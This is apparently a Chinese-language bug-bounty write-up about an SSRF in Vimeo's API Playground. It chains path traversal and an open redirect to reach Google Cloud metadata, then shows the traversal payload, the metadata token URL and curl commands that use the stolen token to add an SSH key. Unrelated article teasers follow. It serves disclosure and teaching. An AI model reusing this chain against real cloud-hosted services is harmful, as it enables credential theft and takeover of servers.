具有代码执行潜力的Vimeo SSRF
最近我在Vimeo上发现了一个半响应的SSRF代码执行的可能性。这篇博客文章解释了我是如何找到并利用它的。
背景
Vimeo为其API提供了一个名为API Playground的API控制台,使用此Web应用程序发出的请求是从服务器端完成的。以下面的请求为例:

这是它的基本请求
该请求应该是服务器端GET请求
https://api.vimeo.com/users/{user_id}/videos/{video_id}
如果仔细观察请求,我们在这里控制了很多东西,首先uri 是在端点上命中的终点参数,即在这种情况下是/users/{user_id}/videos/{video_id} ,请求方法,即在这种情况下设置为GET ,params应该是post参数if请求方法是POST。user_id和video_id是一种变量,其值在segments 参数中定义。
在服务器端进行的HTTP请求中的路径遍历
我首先尝试将URI参数更改为自定义路径,但URI中的任何更改都将导致403,意味着它们允许使用一组API端点。但是,更改user_id和videos_id等变量的值是可能的,因为它们是有意的,因为这些值反映在URL的路径中。通过传递../../../将导致对api.vimeo.com根目录的请求,下面是发生的事情:
URL.parse(“https://api.vimeo.com/users/1122/videos/../../../attacker”)
结果输出: https://api.vimeo.com/attacker

服务器端HTTP请求中的路径遍历
正如您在响应中看到的,列出了api.vimeo.com的所有端点,如果您发出经过身份验证的请求(带有授权头),则该端点是api.vimeo.com的根响应。
现在怎么办?我们仍然在api.vimeo.com主机上,我们如何摆脱它?
我认为这是在遵循HTTP30X重定向原则,这是一个很长的故事,需要一些逻辑思考。
回到重点,现在我知道这是在遵循HTTP重定向,我们很好地向前推进,我们需要一个开放的重定向,以便我们可以将服务器重定向到我们的控制资产
新的发现
一分钟后我在其返回的内容里发现,在api.vimeo.com上遇到了一个端点,它使用我们在vimeo.com上控制的路径重定向到vimeo.com。
https://api.vimeo.com/m/something

现在我们有了一个广泛的范围来找到一个开放的重定向,我在vimeo.com上有一个不太有用的开放重定向,我不会透露它的细节,但我们假设它是这样的:
https://vimeo/vulnerable/open/redirect?url=https://attacker.com
这会使302重定向到攻击者网站上。
如何使用URL重定向到攻击者网站?
将服务器重定向到我们受控攻击网站的最终payload是:
../../../m/vulnerable/open/redirect?url=https://attacker.com
在video_id中传递此值将以这种方式解析URL:
https://api.vimeo.com/users/1122/videos/../../../m/vulnerable/open/redirect?url=https://attacker.com
来看看哪个已经解析完成吧!
https://api.vimeo.com/m/vulnerable/open/redirect?url=https://attacker.com
遵循并进行HTTP重定向
https://vimeo.com/vulnerable/open/redirect?url=https://attacker.com
进行了另一次HTTP重定向

SSRF已实现,有关重定向的详细信息
服务器需要JSON响应并对其进行解析而且需要显示响应。
利用..
由于Vimeo基础设施在谷歌云上,我的第一次尝试是访问谷歌API,我采用了国外安全研究员公开的方法。这里不便抛出链接。
这里它为我们提供了帐户token:
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json
{ “headers”: [ “HTTP/1.1 ”, “Content-Type: application/json”, “Host: api.vimeo.com” ], “code”: , “body”: { “access_token”: “ya29.c.EmKeBq9XXDWtXXXXXXXXecIkeR0dFkGT0rJSA”, “expires_in”: , “token_type”: “Bearer” } }
token的使用范围:
$ curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA 返回值:
{ "issued_to": "101302079XXXXX", "audience": "10130207XXXXX", "scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring", "expires_in": 2443, "access_type": "offline" }
然后我可以使用此令牌将我的公共SSH密钥添加到实例,然后通过我的私钥连接:
$ curl -X POST “https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata" -H “Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA” -H “Content-Type: application/json” — data ‘{“items”: [{“key”: “harsh-bugdiscloseguys”, “value”: “harsh-ssrf”}]}
返回值:
{ “kind”: “compute#operation”, “id”: “63228127XXXXXX”, “name”: “operation-XXXXXXXXXXXXXXXXXX”, “operationType”: “compute.projects.setCommonInstanceMetadata”, “targetLink”: “https://www.googleapis.com/compute/v1/projects/vimeo-XXXXX", “targetId”: “10423XXXXXXXX”, “status”: “RUNNING”, “user”: “10423XXXXXXXX-compute@developer.gserviceaccount.com”, “progress”: 0, “insertTime”: “2019–01–27T15:50:11.598–08:00”, “startTime”: “2019–01–27T15:50:11.599–08:00”, “selfLink”: “https://www.googleapis.com/compute/v1/projects/vimeo-XXXXX/global/operations/operation-XXXXXX"}
然后……

bingo!!成功。
但是,ssh端口仅在内部网络上打开:(但这足以证明内部可以升级到shell访问。
Kubernetes密钥也是从元数据API中提取的,但出于某种原因,我无法使用它们。
这就比较尴尬了。
具有代码执行潜力的Vimeo SSRF的更多相关文章
- 【预警通告】Apache Struts2 远程代码执行漏洞
Apache Structs2的Jakarta Multipart parser插件存在远程代码执行漏洞,漏洞编号为CVE-2017-5638.攻击者可以在使用该插件上传文件时,修改HTTP请求头中的 ...
- 最新漏洞:Spring Framework远程代码执行漏洞
Spring Framework远程代码执行漏洞 发布时间 2022-03-31 漏洞等级 High CVE编号 CVE-2022-22965 影响范围:同时满足以下三个条件可确定受此漏洞影响: JD ...
- phpMoadmin CVE-2015-2208 远程代码执行漏洞分析
原文:http://www.thinkings.org/2015/03/05/cve-2015-2208-phpmoadmin-exec-vul.html phpMoAdmin 是一个用PHP 开发的 ...
- Java代码执行顺序(静态变量,非静态变量,静态代码块,代码块,构造函数)加载顺序
//据说这是一道阿里巴巴面试题,先以这道题为例分析下 public class Text { public static int k = 0; public static Text t1 = new ...
- 【MongoDB】6.关于MongoDB存储文件的 命令执行+代码执行
参考:http://www.runoob.com/mongodb/mongodb-gridfs.html 1.命令执行 MongoDB GridFS GridFS 用于存储和恢复那些超过16M(BSO ...
- 当C#中带有return的TryCatch代码遇到Finally时代码执行顺序
编写的代码最怕出现的情况是运行中有错误出现,但是无法定位错误代码位置.综合<C#4.0图解教程>,总结如下: TryCatchFinally用到的最多的是TryCatch,Catch可以把 ...
- CRM 启用或禁用自定义代码执行
启用自定义代码执行 1.打开 Windows PowerShell 命令窗口. 2.添加 Microsoft Dynamics 365 PowerShell 管理单元: Add-PSSnapin Mi ...
- thinkphp 代码执行
相关漏洞:http://loudong.360.cn/vul/info/id/2919 ThinkPHP 开启lite模式后,会加载ThinkPHP/Extend/Mode/Lite/Dispache ...
- s2-029 Struts2 标签远程代码执行分析(含POC)
1.标签介绍 Struts2标签库提供了主题.模板支持,极大地简化了视图页面的编写,而且,struts2的主题.模板都提供了很好的扩展性.实现了更好的代码复用.Struts2允许在页面中使用自定义组件 ...
随机推荐
- 排序算法Nb三人组-快速排序
核心思想: 将列表中第一个元素拿出来,放到一边,左右两个循环,左面的大于拿出来的数,就把他挪到右面, 右面的小于拿出来的数就把他放在左面,这是列表被第一个元素''分''为两个列表,在对两个列表进行同样 ...
- Scrapy爬虫requests
requests 模块 模块的由来: 浏览器可以浏览网站, 是由于浏览器发送了requests , 各种请求.打开一个网站可能有几十到几百个请求. 从而服务器端会反馈各种因应不同请求生成的数据. 我们 ...
- React Native之React速学教程(中)
概述 本篇为<React Native之React速学教程>的第一篇.本篇将从React的特点.如何使用React.JSX语法.组件(Component)以及组件的属性,状态等方面进行讲解 ...
- 准备Activiti开发环境
1.添加jar包 在activiti-5.13 -> wars 目录下 解压 activiti-rest.war ,导入WEB-INF\lib下所有包添加到classpath中. 由于使用的是O ...
- ES6入门——函数的扩展
1.函数参数的默认值 在ES6之前,不能直接为函数的参数指定默认值,只能采用变通的方法.现在ES6可以为函数的参数添加默认值,简洁了许多. ES5 function show(a,b){ b = b ...
- SpringMVC学习(六)——@InitBinder注解
有些类型的数据是无法自动转换的,比如请求参数中包含时间类型的数据,无法自动映射到Controller里的Date参数.需要使用@initBinder注解为binder提供一个数据的转换器,这个转换器可 ...
- web.xml配置错误页面,及输出错误信息
1.需要在web.xml中配置相关信息 <!-- 默认的错误处理页面 --> <error-page> <error-code>403</error-code ...
- 【转】PBOC3.0和PBOC2.0标准规范异同分析
2013年2月,中国人民银行发布了<中国金融集成电路(IC)卡规范(V3.0)>(以下简称PBOC3.0),PBOC3.0是在中国人民银行2005年颁布的<中国金融集成电路(IC)卡 ...
- Java SpringMVC学习--基础配置
快速开始一个基于SpringMVC框架的web项目 开发工具 Eclipse neon.2 运行环境 tomcat8.5 1.在Eclipse中新建一个web项目:File-New-Dynamic W ...
- [转]Activitys, Threads, & Memory Leaks
转自:http://www.androiddesignpatterns.com/2013/04/activitys-threads-memory-leaks.html http://www.cnblo ...